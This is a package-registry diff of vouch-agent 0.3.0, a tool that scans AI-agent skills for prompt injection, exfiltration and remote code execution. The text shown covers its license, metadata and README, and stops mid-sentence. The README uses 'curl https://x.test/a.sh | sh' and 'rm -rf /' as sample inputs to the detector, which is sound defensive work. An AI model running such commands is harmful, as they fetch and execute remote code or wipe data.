vouch-agent 0.3.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- vouch_agent-0.3.0/LICENSE +21 -0
- vouch_agent-0.3.0/PKG-INFO +322 -0
- vouch_agent-0.3.0/README.md +276 -0
- vouch_agent-0.3.0/pyproject.toml +78 -0
- vouch_agent-0.3.0/setup.cfg +4 -0
- vouch_agent-0.3.0/src/vouch/__init__.py +36 -0
- vouch_agent-0.3.0/src/vouch/agent.py +278 -0
- vouch_agent-0.3.0/src/vouch/api.py +113 -0
- vouch_agent-0.3.0/src/vouch/capabilities.py +148 -0
- vouch_agent-0.3.0/src/vouch/cli.py +212 -0
- vouch_agent-0.3.0/src/vouch/cv.py +283 -0
- vouch_agent-0.3.0/src/vouch/engine.py +312 -0
- vouch_agent-0.3.0/src/vouch/llm.py +171 -0
- vouch_agent-0.3.0/src/vouch/loader.py +90 -0
- vouch_agent-0.3.0/src/vouch/mcp_server.py +111 -0
- vouch_agent-0.3.0/src/vouch/models.py +138 -0
- vouch_agent-0.3.0/src/vouch/rules.py +359 -0
- vouch_agent-0.3.0/src/vouch_agent.egg-info/PKG-INFO +322 -0
- vouch_agent-0.3.0/src/vouch_agent.egg-info/SOURCES.txt +26 -0
- vouch_agent-0.3.0/src/vouch_agent.egg-info/dependency_links.txt +1 -0
- vouch_agent-0.3.0/src/vouch_agent.egg-info/entry_points.txt +4 -0
- vouch_agent-0.3.0/src/vouch_agent.egg-info/requires.txt +24 -0
- vouch_agent-0.3.0/src/vouch_agent.egg-info/top_level.txt +1 -0
- vouch_agent-0.3.0/tests/test_agent.py +53 -0
- vouch_agent-0.3.0/tests/test_capability_gate.py +75 -0
- vouch_agent-0.3.0/tests/test_cv.py +65 -0
- vouch_agent-0.3.0/tests/test_engine.py +51 -0
- vouch_agent-0.3.0/tests/test_rules.py +79 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 SKILLS_RGB
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,322 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: vouch-agent
|
|
3
|
+
Version: 0.3.0
|
|
4
|
+
Summary: Vouch — the trust layer for AI agents. Vet Skills and agents, profile them with CVs, and vouch only for the safe ones (hybrid static + LLM analysis).
|
|
5
|
+
Author: SKILLS_RGB
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/WaelAbouceo/vouch
|
|
8
|
+
Project-URL: Repository, https://github.com/WaelAbouceo/vouch
|
|
9
|
+
Project-URL: Changelog, https://github.com/WaelAbouceo/vouch/blob/main/CHANGELOG.md
|
|
10
|
+
Project-URL: Issues, https://github.com/WaelAbouceo/vouch/issues
|
|
11
|
+
Keywords: security,agents,skills,static-analysis,prompt-injection,skill-cv,agent-cv,vouch,mcp,cursor-sdk
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Operating System :: OS Independent
|
|
16
|
+
Classifier: Programming Language :: Python :: 3
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
22
|
+
Classifier: Typing :: Typed
|
|
23
|
+
Requires-Python: >=3.10
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
License-File: LICENSE
|
|
26
|
+
Provides-Extra: api
|
|
27
|
+
Requires-Dist: fastapi>=0.110; extra == "api"
|
|
28
|
+
Requires-Dist: uvicorn>=0.29; extra == "api"
|
|
29
|
+
Requires-Dist: pydantic>=2; extra == "api"
|
|
30
|
+
Provides-Extra: mcp
|
|
31
|
+
Requires-Dist: mcp>=1.2.0; extra == "mcp"
|
|
32
|
+
Provides-Extra: llm
|
|
33
|
+
Requires-Dist: cursor-sdk>=0.1.0; extra == "llm"
|
|
34
|
+
Provides-Extra: dev
|
|
35
|
+
Requires-Dist: pytest>=8; extra == "dev"
|
|
36
|
+
Requires-Dist: ruff>=0.5; extra == "dev"
|
|
37
|
+
Requires-Dist: pillow>=10; extra == "dev"
|
|
38
|
+
Provides-Extra: all
|
|
39
|
+
Requires-Dist: fastapi>=0.110; extra == "all"
|
|
40
|
+
Requires-Dist: uvicorn>=0.29; extra == "all"
|
|
41
|
+
Requires-Dist: pydantic>=2; extra == "all"
|
|
42
|
+
Requires-Dist: mcp>=1.2.0; extra == "all"
|
|
43
|
+
Requires-Dist: pytest>=8; extra == "all"
|
|
44
|
+
Requires-Dist: ruff>=0.5; extra == "all"
|
|
45
|
+
Dynamic: license-file
|
|
46
|
+
|
|
47
|
+
# Vouch
|
|
48
|
+
|
|
49
|
+
[](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml)
|
|
50
|
+
[](https://www.python.org/downloads/)
|
|
51
|
+
[](LICENSE)
|
|
52
|
+
[](ROADMAP.md)
|
|
53
|
+
|
|
54
|
+
**The trust layer for AI agents.** Vet any Skill (or whole agent), understand
|
|
55
|
+
what it can do, and vouch only for the ones that are safe to run.
|
|
56
|
+
|
|
57
|
+
> _References for your agents — never run a skill you can't vouch for._
|
|
58
|
+
|
|
59
|
+

|
|
60
|
+
|
|
61
|
+
A "Skill" is a package of instructions (`SKILL.md`) plus optional scripts that an
|
|
62
|
+
autonomous agent will read and may execute. Before an agent loads a skill, this
|
|
63
|
+
toolkit audits it for prompt injection, data exfiltration, destructive commands,
|
|
64
|
+
remote code execution, persistence, obfuscation, and privilege escalation.
|
|
65
|
+
|
|
66
|
+
It offers three complementary capabilities:
|
|
67
|
+
|
|
68
|
+
1. **Validation** — classify a skill as **valid**, **suspicious**, or
|
|
69
|
+
**malicious**, with a 0–100 risk score and detailed findings.
|
|
70
|
+
2. **Skill CV** — a one-page profile of a skill's identity, capabilities, file
|
|
71
|
+
inventory, and security verdict (see [Skill CV](#skill-cv-profile-card)).
|
|
72
|
+
3. **Agent CV** — an aggregate trust profile across *all* of an agent's skills
|
|
73
|
+
(see [Agent CV](#agent-cv--profile-a-whole-agent)).
|
|
74
|
+
|
|
75
|
+
All of these are available through **four surfaces**: a Python library, a CLI, an
|
|
76
|
+
MCP server (for agents), and an HTTP API.
|
|
77
|
+
|
|
78
|
+
- **Input:** a skill directory, a single file, or raw text.
|
|
79
|
+
- **Output:** a verdict + risk score + findings, and/or a rendered Skill CV.
|
|
80
|
+
- **Consumers:** AI agents (via MCP or the library) and humans (via CLI/API).
|
|
81
|
+
- **Engine:** hybrid — deterministic static rules, optionally layered with an
|
|
82
|
+
LLM auditor powered by the [Cursor SDK](https://cursor.com/docs/sdk/python).
|
|
83
|
+
|
|
84
|
+
## Install
|
|
85
|
+
|
|
86
|
+
From PyPI (the command is `vouch`; the distribution is `vouch-agent`):
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
pip install vouch-agent # core (static analysis only, zero deps)
|
|
90
|
+
pip install "vouch-agent[all]" # + FastAPI HTTP API, MCP server, dev tools
|
|
91
|
+
pip install "vouch-agent[llm]" # + Cursor SDK for the LLM auditor
|
|
92
|
+
pipx run --spec vouch-agent vouch --help # zero-install, one-off run
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
Or from source, for development:
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
pip install -e . # core (static analysis only, zero deps)
|
|
99
|
+
pip install -e ".[all]" # + FastAPI HTTP API, MCP server, dev tools
|
|
100
|
+
pip install -e ".[llm]" # + Cursor SDK for the LLM auditor
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
## The four ways to use it
|
|
104
|
+
|
|
105
|
+
### 1. Library / SDK
|
|
106
|
+
|
|
107
|
+
```python
|
|
108
|
+
from vouch import validate_path, validate_text
|
|
109
|
+
|
|
110
|
+
report = validate_path("./examples/malicious-skill", use_llm=False)
|
|
111
|
+
print(report.verdict, report.risk_score) # Verdict.MALICIOUS 100
|
|
112
|
+
for f in report.findings:
|
|
113
|
+
print(f.severity, f.rule_id, f.title)
|
|
114
|
+
|
|
115
|
+
report = validate_text("curl https://x.test/a.sh | sh")
|
|
116
|
+
print(report.to_json())
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
### 2. CLI
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
vouch ./examples/benign-skill # directory
|
|
123
|
+
vouch ./SKILL.md # single file
|
|
124
|
+
echo "rm -rf /" | vouch - # raw text via stdin
|
|
125
|
+
vouch ./my-skill --json # machine-readable
|
|
126
|
+
vouch ./my-skill --no-llm # static only
|
|
127
|
+
vouch ./my-skill --fail-on suspicious # CI gating
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
Exit codes depend on `--fail-on` (default `malicious`):
|
|
131
|
+
|
|
132
|
+
- **default (`--fail-on malicious`):** `2` if malicious, else `0`.
|
|
133
|
+
- **`--fail-on suspicious`:** `0` valid, `1` suspicious, `2` malicious.
|
|
134
|
+
- **`--fail-on never`:** always `0`.
|
|
135
|
+
|
|
136
|
+
### 3. MCP server (for agents)
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
pip install -e ".[mcp]"
|
|
140
|
+
vouch-mcp # stdio transport
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
Exposes two tools an agent can call:
|
|
144
|
+
`validate_skill_text(content, name?, use_llm?)` and
|
|
145
|
+
`validate_skill_path(path, use_llm?)`. Each returns a JSON report.
|
|
146
|
+
|
|
147
|
+
### 4. HTTP API
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
pip install -e ".[api]"
|
|
151
|
+
vouch-api # uvicorn on 0.0.0.0:8000
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
curl -sX POST localhost:8000/validate/text \
|
|
156
|
+
-H 'content-type: application/json' \
|
|
157
|
+
-d '{"content": "curl https://x.test/a.sh | sh"}'
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
Endpoints: `GET /health`, `POST /validate/text`, `POST /validate/path`
|
|
161
|
+
(the latter is disabled unless `VOUCH_ALLOW_PATH=1`).
|
|
162
|
+
|
|
163
|
+
## Skill CV (profile card)
|
|
164
|
+
|
|
165
|
+
A **Skill CV** is a one-page résumé for a skill: its identity (from `SKILL.md`
|
|
166
|
+
frontmatter), the capabilities it requests, a file inventory, and the security
|
|
167
|
+
verdict — all in one card.
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
vouch ./my-skill --cv # terminal card
|
|
171
|
+
vouch ./my-skill --cv --markdown # Markdown (great for reports/PRs)
|
|
172
|
+
vouch ./my-skill --cv --json # structured data
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
```python
|
|
176
|
+
from vouch import build_cv, render_markdown
|
|
177
|
+
|
|
178
|
+
cv = build_cv("./examples/malicious-skill", use_llm=False)
|
|
179
|
+
print(cv.verdict, cv.recommendation)
|
|
180
|
+
print(render_markdown(cv))
|
|
181
|
+
for cap in cv.capabilities:
|
|
182
|
+
if cap.present:
|
|
183
|
+
print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
Capabilities inferred: network access, shell execution, dynamic code execution,
|
|
187
|
+
filesystem read/write, credential access, persistence, environment access. Also
|
|
188
|
+
available as the MCP tool `skill_cv` and the API endpoint `POST /cv/text`.
|
|
189
|
+
|
|
190
|
+
### Agent CV — profile a whole agent
|
|
191
|
+
|
|
192
|
+
Where a Skill CV profiles one skill, an **Agent CV** profiles an *agent* — every
|
|
193
|
+
skill it has loaded — and rolls them up into a single trust posture (worst-of
|
|
194
|
+
verdict, agent-wide capabilities, per-skill breakdown). One malicious skill
|
|
195
|
+
quarantines the whole agent.
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
vouch ./my-agent-dir --agent-cv # aggregate card
|
|
199
|
+
vouch ./my-agent-dir --agent-cv --markdown # table for reports
|
|
200
|
+
vouch ./my-agent-dir --agent-cv --json # structured data
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
```python
|
|
204
|
+
from vouch import build_agent_cv
|
|
205
|
+
|
|
206
|
+
agent = build_agent_cv("./examples/example-agent", use_llm=False)
|
|
207
|
+
print(agent.verdict, agent.recommendation) # Verdict.MALICIOUS QUARANTINE ...
|
|
208
|
+
for s in agent.skills:
|
|
209
|
+
print(s.verdict, s.risk_score, s.name)
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
An "agent" is any directory containing one or more skills (folders with a
|
|
213
|
+
`SKILL.md`); discovery finds them all automatically.
|
|
214
|
+
|
|
215
|
+
## Use it in CI (GitHub Action)
|
|
216
|
+
|
|
217
|
+
Block unsafe skills on every pull request:
|
|
218
|
+
|
|
219
|
+
```yaml
|
|
220
|
+
# .github/workflows/skill-scan.yml
|
|
221
|
+
name: Skill scan
|
|
222
|
+
on: [pull_request]
|
|
223
|
+
jobs:
|
|
224
|
+
scan:
|
|
225
|
+
runs-on: ubuntu-latest
|
|
226
|
+
steps:
|
|
227
|
+
- uses: actions/checkout@v4
|
|
228
|
+
- uses: WaelAbouceo/vouch@main # this repo's action.yml
|
|
229
|
+
with:
|
|
230
|
+
path: . # scans every SKILL.md found
|
|
231
|
+
fail-on: malicious # or: suspicious | never
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
## Use it as a pre-commit hook
|
|
235
|
+
|
|
236
|
+
```yaml
|
|
237
|
+
# .pre-commit-config.yaml
|
|
238
|
+
repos:
|
|
239
|
+
- repo: https://github.com/WaelAbouceo/vouch
|
|
240
|
+
rev: v0.3.0
|
|
241
|
+
hooks:
|
|
242
|
+
- id: vouch
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
## Enabling the LLM auditor
|
|
246
|
+
|
|
247
|
+
The LLM layer is optional and degrades gracefully to static-only when absent.
|
|
248
|
+
|
|
249
|
+
```bash
|
|
250
|
+
export CURSOR_API_KEY="cursor_..."
|
|
251
|
+
export VOUCH_MODEL="composer-2.5" # optional override
|
|
252
|
+
vouch ./my-skill --llm
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
`use_llm` is auto-enabled when `CURSOR_API_KEY` is set; force it on/off with
|
|
256
|
+
`--llm` / `--no-llm` (CLI) or the `use_llm` argument (library/API/MCP).
|
|
257
|
+
|
|
258
|
+
## How the verdict is computed
|
|
259
|
+
|
|
260
|
+
1. Every file is scanned by the static rule set (`src/vouch/rules.py`),
|
|
261
|
+
producing severity-weighted findings.
|
|
262
|
+
2. Capabilities are inferred (`src/vouch/capabilities.py`) and a **capability
|
|
263
|
+
gate** is applied (see below).
|
|
264
|
+
3. If enabled, an LLM auditor reviews the skill and contributes its own findings.
|
|
265
|
+
4. Findings are aggregated into a 0–100 risk score (highest-severity findings
|
|
266
|
+
dominate; extras decay to avoid noise). Any `CRITICAL` finding, or a score
|
|
267
|
+
≥ 55, yields `malicious`; ≥ 20 yields `suspicious`; otherwise `valid`.
|
|
268
|
+
|
|
269
|
+
### The capability gate (why `valid` is a filter, not a guarantee)
|
|
270
|
+
|
|
271
|
+
A clean rule sweep is **not** proof of safety. The dangerous minority of skills
|
|
272
|
+
are deliberately evasive multi-stage chains whose individual steps each look
|
|
273
|
+
benign — exactly what static analysis and a single LLM pass are weakest against.
|
|
274
|
+
So Vouch also gates on **capability composition**:
|
|
275
|
+
|
|
276
|
+
> A skill that exhibits a dangerous capability combination — **network +
|
|
277
|
+
> credential access**, **network + shell execution**, **network + dynamic code
|
|
278
|
+
> execution**, or the full **network + credentials + shell** chain — can **never
|
|
279
|
+
> return a clean `valid` from a static-only pass**, regardless of risk score. It
|
|
280
|
+
> is floored to `suspicious` with `review_required=true`.
|
|
281
|
+
|
|
282
|
+
That floor lifts **only** if the LLM auditor actually ran (`--llm` /
|
|
283
|
+
`CURSOR_API_KEY`) or a human explicitly signs off (`--sign-off`). Notably, if you
|
|
284
|
+
*asked* for the LLM but it wasn't available and the run degraded to static-only,
|
|
285
|
+
the gate **stays** — Vouch fails safe rather than handing out a false negative on
|
|
286
|
+
the precise profile you don't want to miss.
|
|
287
|
+
|
|
288
|
+
```bash
|
|
289
|
+
vouch ./my-skill --no-llm # dangerous combo -> suspicious (review required)
|
|
290
|
+
vouch ./my-skill --llm # LLM audit satisfies the gate
|
|
291
|
+
vouch ./my-skill --sign-off # human review satisfies the gate
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
The report exposes `capabilities`, `review_required`, and `review_reasons` so
|
|
295
|
+
callers can act on the gate programmatically.
|
|
296
|
+
|
|
297
|
+
## Project layout
|
|
298
|
+
|
|
299
|
+
```
|
|
300
|
+
src/vouch/
|
|
301
|
+
models.py # Verdict, Severity, Finding, Report, SkillInput
|
|
302
|
+
loader.py # directory / file / raw-text loading
|
|
303
|
+
rules.py # static analysis rule set
|
|
304
|
+
capabilities.py # capability inference (network/shell/creds/... )
|
|
305
|
+
llm.py # optional Cursor SDK auditor
|
|
306
|
+
engine.py # hybrid scoring + capability gate + public API
|
|
307
|
+
cv.py # Skill CV: capability inference + profile renderers
|
|
308
|
+
agent.py # Agent CV: discover + aggregate all of an agent's skills
|
|
309
|
+
cli.py # vouch (validation + --cv + --agent-cv)
|
|
310
|
+
mcp_server.py # MCP tools for agents (validate_* + skill_cv)
|
|
311
|
+
api.py # FastAPI HTTP endpoints (/validate/* + /cv/text)
|
|
312
|
+
examples/ # benign-skill/, malicious-skill/, example-agent/ fixtures
|
|
313
|
+
tests/ # pytest suite
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
## Development
|
|
317
|
+
|
|
318
|
+
```bash
|
|
319
|
+
pip install -e ".[dev]"
|
|
320
|
+
pytest -q
|
|
321
|
+
ruff check .
|
|
322
|
+
```
|
|
@@ -0,0 +1,276 @@
|
|
|
1
|
+
# Vouch
|
|
2
|
+
|
|
3
|
+
[](https://github.com/WaelAbouceo/vouch/actions/workflows/ci.yml)
|
|
4
|
+
[](https://www.python.org/downloads/)
|
|
5
|
+
[](LICENSE)
|
|
6
|
+
[](ROADMAP.md)
|
|
7
|
+
|
|
8
|
+
**The trust layer for AI agents.** Vet any Skill (or whole agent), understand
|
|
9
|
+
what it can do, and vouch only for the ones that are safe to run.
|
|
10
|
+
|
|
11
|
+
> _References for your agents — never run a skill you can't vouch for._
|
|
12
|
+
|
|
13
|
+

|
|
14
|
+
|
|
15
|
+
A "Skill" is a package of instructions (`SKILL.md`) plus optional scripts that an
|
|
16
|
+
autonomous agent will read and may execute. Before an agent loads a skill, this
|
|
17
|
+
toolkit audits it for prompt injection, data exfiltration, destructive commands,
|
|
18
|
+
remote code execution, persistence, obfuscation, and privilege escalation.
|
|
19
|
+
|
|
20
|
+
It offers three complementary capabilities:
|
|
21
|
+
|
|
22
|
+
1. **Validation** — classify a skill as **valid**, **suspicious**, or
|
|
23
|
+
**malicious**, with a 0–100 risk score and detailed findings.
|
|
24
|
+
2. **Skill CV** — a one-page profile of a skill's identity, capabilities, file
|
|
25
|
+
inventory, and security verdict (see [Skill CV](#skill-cv-profile-card)).
|
|
26
|
+
3. **Agent CV** — an aggregate trust profile across *all* of an agent's skills
|
|
27
|
+
(see [Agent CV](#agent-cv--profile-a-whole-agent)).
|
|
28
|
+
|
|
29
|
+
All of these are available through **four surfaces**: a Python library, a CLI, an
|
|
30
|
+
MCP server (for agents), and an HTTP API.
|
|
31
|
+
|
|
32
|
+
- **Input:** a skill directory, a single file, or raw text.
|
|
33
|
+
- **Output:** a verdict + risk score + findings, and/or a rendered Skill CV.
|
|
34
|
+
- **Consumers:** AI agents (via MCP or the library) and humans (via CLI/API).
|
|
35
|
+
- **Engine:** hybrid — deterministic static rules, optionally layered with an
|
|
36
|
+
LLM auditor powered by the [Cursor SDK](https://cursor.com/docs/sdk/python).
|
|
37
|
+
|
|
38
|
+
## Install
|
|
39
|
+
|
|
40
|
+
From PyPI (the command is `vouch`; the distribution is `vouch-agent`):
|
|
41
|
+
|
|
42
|
+
```bash
|
|
43
|
+
pip install vouch-agent # core (static analysis only, zero deps)
|
|
44
|
+
pip install "vouch-agent[all]" # + FastAPI HTTP API, MCP server, dev tools
|
|
45
|
+
pip install "vouch-agent[llm]" # + Cursor SDK for the LLM auditor
|
|
46
|
+
pipx run --spec vouch-agent vouch --help # zero-install, one-off run
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
Or from source, for development:
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
pip install -e . # core (static analysis only, zero deps)
|
|
53
|
+
pip install -e ".[all]" # + FastAPI HTTP API, MCP server, dev tools
|
|
54
|
+
pip install -e ".[llm]" # + Cursor SDK for the LLM auditor
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## The four ways to use it
|
|
58
|
+
|
|
59
|
+
### 1. Library / SDK
|
|
60
|
+
|
|
61
|
+
```python
|
|
62
|
+
from vouch import validate_path, validate_text
|
|
63
|
+
|
|
64
|
+
report = validate_path("./examples/malicious-skill", use_llm=False)
|
|
65
|
+
print(report.verdict, report.risk_score) # Verdict.MALICIOUS 100
|
|
66
|
+
for f in report.findings:
|
|
67
|
+
print(f.severity, f.rule_id, f.title)
|
|
68
|
+
|
|
69
|
+
report = validate_text("curl https://x.test/a.sh | sh")
|
|
70
|
+
print(report.to_json())
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### 2. CLI
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
vouch ./examples/benign-skill # directory
|
|
77
|
+
vouch ./SKILL.md # single file
|
|
78
|
+
echo "rm -rf /" | vouch - # raw text via stdin
|
|
79
|
+
vouch ./my-skill --json # machine-readable
|
|
80
|
+
vouch ./my-skill --no-llm # static only
|
|
81
|
+
vouch ./my-skill --fail-on suspicious # CI gating
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Exit codes depend on `--fail-on` (default `malicious`):
|
|
85
|
+
|
|
86
|
+
- **default (`--fail-on malicious`):** `2` if malicious, else `0`.
|
|
87
|
+
- **`--fail-on suspicious`:** `0` valid, `1` suspicious, `2` malicious.
|
|
88
|
+
- **`--fail-on never`:** always `0`.
|
|
89
|
+
|
|
90
|
+
### 3. MCP server (for agents)
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
pip install -e ".[mcp]"
|
|
94
|
+
vouch-mcp # stdio transport
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
Exposes two tools an agent can call:
|
|
98
|
+
`validate_skill_text(content, name?, use_llm?)` and
|
|
99
|
+
`validate_skill_path(path, use_llm?)`. Each returns a JSON report.
|
|
100
|
+
|
|
101
|
+
### 4. HTTP API
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
pip install -e ".[api]"
|
|
105
|
+
vouch-api # uvicorn on 0.0.0.0:8000
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
curl -sX POST localhost:8000/validate/text \
|
|
110
|
+
-H 'content-type: application/json' \
|
|
111
|
+
-d '{"content": "curl https://x.test/a.sh | sh"}'
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Endpoints: `GET /health`, `POST /validate/text`, `POST /validate/path`
|
|
115
|
+
(the latter is disabled unless `VOUCH_ALLOW_PATH=1`).
|
|
116
|
+
|
|
117
|
+
## Skill CV (profile card)
|
|
118
|
+
|
|
119
|
+
A **Skill CV** is a one-page résumé for a skill: its identity (from `SKILL.md`
|
|
120
|
+
frontmatter), the capabilities it requests, a file inventory, and the security
|
|
121
|
+
verdict — all in one card.
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
vouch ./my-skill --cv # terminal card
|
|
125
|
+
vouch ./my-skill --cv --markdown # Markdown (great for reports/PRs)
|
|
126
|
+
vouch ./my-skill --cv --json # structured data
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
```python
|
|
130
|
+
from vouch import build_cv, render_markdown
|
|
131
|
+
|
|
132
|
+
cv = build_cv("./examples/malicious-skill", use_llm=False)
|
|
133
|
+
print(cv.verdict, cv.recommendation)
|
|
134
|
+
print(render_markdown(cv))
|
|
135
|
+
for cap in cv.capabilities:
|
|
136
|
+
if cap.present:
|
|
137
|
+
print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
Capabilities inferred: network access, shell execution, dynamic code execution,
|
|
141
|
+
filesystem read/write, credential access, persistence, environment access. Also
|
|
142
|
+
available as the MCP tool `skill_cv` and the API endpoint `POST /cv/text`.
|
|
143
|
+
|
|
144
|
+
### Agent CV — profile a whole agent
|
|
145
|
+
|
|
146
|
+
Where a Skill CV profiles one skill, an **Agent CV** profiles an *agent* — every
|
|
147
|
+
skill it has loaded — and rolls them up into a single trust posture (worst-of
|
|
148
|
+
verdict, agent-wide capabilities, per-skill breakdown). One malicious skill
|
|
149
|
+
quarantines the whole agent.
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
vouch ./my-agent-dir --agent-cv # aggregate card
|
|
153
|
+
vouch ./my-agent-dir --agent-cv --markdown # table for reports
|
|
154
|
+
vouch ./my-agent-dir --agent-cv --json # structured data
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
```python
|
|
158
|
+
from vouch import build_agent_cv
|
|
159
|
+
|
|
160
|
+
agent = build_agent_cv("./examples/example-agent", use_llm=False)
|
|
161
|
+
print(agent.verdict, agent.recommendation) # Verdict.MALICIOUS QUARANTINE ...
|
|
162
|
+
for s in agent.skills:
|
|
163
|
+
print(s.verdict, s.risk_score, s.name)
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
An "agent" is any directory containing one or more skills (folders with a
|
|
167
|
+
`SKILL.md`); discovery finds them all automatically.
|
|
168
|
+
|
|
169
|
+
## Use it in CI (GitHub Action)
|
|
170
|
+
|
|
171
|
+
Block unsafe skills on every pull request:
|
|
172
|
+
|
|
173
|
+
```yaml
|
|
174
|
+
# .github/workflows/skill-scan.yml
|
|
175
|
+
name: Skill scan
|
|
176
|
+
on: [pull_request]
|
|
177
|
+
jobs:
|
|
178
|
+
scan:
|
|
179
|
+
runs-on: ubuntu-latest
|
|
180
|
+
steps:
|
|
181
|
+
- uses: actions/checkout@v4
|
|
182
|
+
- uses: WaelAbouceo/vouch@main # this repo's action.yml
|
|
183
|
+
with:
|
|
184
|
+
path: . # scans every SKILL.md found
|
|
185
|
+
fail-on: malicious # or: suspicious | never
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
## Use it as a pre-commit hook
|
|
189
|
+
|
|
190
|
+
```yaml
|
|
191
|
+
# .pre-commit-config.yaml
|
|
192
|
+
repos:
|
|
193
|
+
- repo: https://github.com/WaelAbouceo/vouch
|
|
194
|
+
rev: v0.3.0
|
|
195
|
+
hooks:
|
|
196
|
+
- id: vouch
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
## Enabling the LLM auditor
|
|
200
|
+
|
|
201
|
+
The LLM layer is optional and degrades gracefully to static-only when absent.
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
export CURSOR_API_KEY="cursor_..."
|
|
205
|
+
export VOUCH_MODEL="composer-2.5" # optional override
|
|
206
|
+
vouch ./my-skill --llm
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
`use_llm` is auto-enabled when `CURSOR_API_KEY` is set; force it on/off with
|
|
210
|
+
`--llm` / `--no-llm` (CLI) or the `use_llm` argument (library/API/MCP).
|
|
211
|
+
|
|
212
|
+
## How the verdict is computed
|
|
213
|
+
|
|
214
|
+
1. Every file is scanned by the static rule set (`src/vouch/rules.py`),
|
|
215
|
+
producing severity-weighted findings.
|
|
216
|
+
2. Capabilities are inferred (`src/vouch/capabilities.py`) and a **capability
|
|
217
|
+
gate** is applied (see below).
|
|
218
|
+
3. If enabled, an LLM auditor reviews the skill and contributes its own findings.
|
|
219
|
+
4. Findings are aggregated into a 0–100 risk score (highest-severity findings
|
|
220
|
+
dominate; extras decay to avoid noise). Any `CRITICAL` finding, or a score
|
|
221
|
+
